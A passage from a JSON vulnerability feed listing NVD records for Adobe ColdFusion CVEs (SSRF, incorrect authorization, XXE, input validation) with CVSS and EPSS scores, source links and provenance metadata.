2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75748","cveId":"CVE-2026-75748","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:20.263Z","updatedAt":"2026-10-20T19:06:35.020Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75748","asOf":"2026-10-20T19:06:35.020Z"},"epss":{"probability":0.00401,"percentile":0.34091,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75748","type":"primary","publishedAt":"2026-10-13T21:18:20.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71385","cveId":"CVE-2026-71385","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:19.483Z","updatedAt":"2026-10-20T19:06:50.513Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71385","asOf":"2026-10-20T19:06:50.513Z"},"epss":{"probability":0.00321,"percentile":0.24831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71385&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71385","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71385","type":"primary","publishedAt":"2026-10-13T21:18:19.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71385&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71385, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34634","cveId":"CVE-2026-34634","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:38.230Z","updatedAt":"2026-10-20T19:07:06.803Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34634","asOf":"2026-10-20T19:07:06.803Z"},"epss":{"probability":0.00449,"percentile":0.38729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34634","type":"primary","publishedAt":"2026-10-13T21:17:38.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34633","cveId":"CVE-2026-34633","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:38.087Z","updatedAt":"2026-10-20T19:07:40.737Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34633","asOf":"2026-10-20T19:07:40.737Z"},"epss":{"probability":0.0047,"percentile":0.40367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34633","type":"primary","publishedAt":"2026-10-13T21:17:38.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106623","cveId":"CVE-2026-106623","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.597Z","updatedAt":"2026-10-17T02:17:13.063Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106623","asOf":"2026-10-17T02:17:13.063Z"},"epss":{"probability":0.00436,"percentile":0.37574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106623&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106623","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106623","type":"primary","publishedAt":"2026-10-13T21:17:31.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106623&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106623, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106618","cveId":"CVE-2026-106618","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.043Z","updatedAt":"2026-10-15T18:30:25.003Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106618","asOf":"2026-10-15T18:30:25.003Z"},"epss":{"probability":0.0014,"percentile":0.03288,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106618","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106618","type":"primary","publishedAt":"2026-10-13T21:17:31.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106617","cveId":"CVE-2026-106617","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.930Z","updatedAt":"2026-10-16T17:26:08.240Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106617","asOf":"2026-10-16T17:26:08.240Z"},"epss":{"probability":0.00187,"percentile":0.08238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106617&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106617","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106617","type":"primary","publishedAt":"2026-10-13T21:17:30.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106617&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106617, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106616","cveId":"CVE-2026-106616","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read.","summary":"ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.810Z","updatedAt":"2026-10-16T17:26:40.297Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106616","asOf":"2026-10-16T17:26:40.297Z"},"epss":{"probability":0.00502,"percentile":0.42666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106616","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106616","type":"primary","publishedAt":"2026-10-13T21:17:30.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106615","cveId":"CVE-2026-106615","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.693Z","updatedAt":"2026-10-16T17:38:51.760Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106615","asOf":"2026-10-16T17:38:51.760Z"},"epss":{"probability":0.00187,"percentile":0.08237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106615","type":"primary","publishedAt":"2026-10-13T21:17:30.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106614","cveId":"CVE-2026-106614","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.583Z","updatedAt":"2026-10-16T17:39:54.693Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106614","asOf":"2026-10-16T17:39:54.693Z"},"epss":{"probability":0.00169,"percentile":0.06176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106614&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106614","type":"primary","publishedAt":"2026-10-13T21:17:30.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106614&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106614, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106613","cveId":"CVE-2026-106613","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.","detail":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 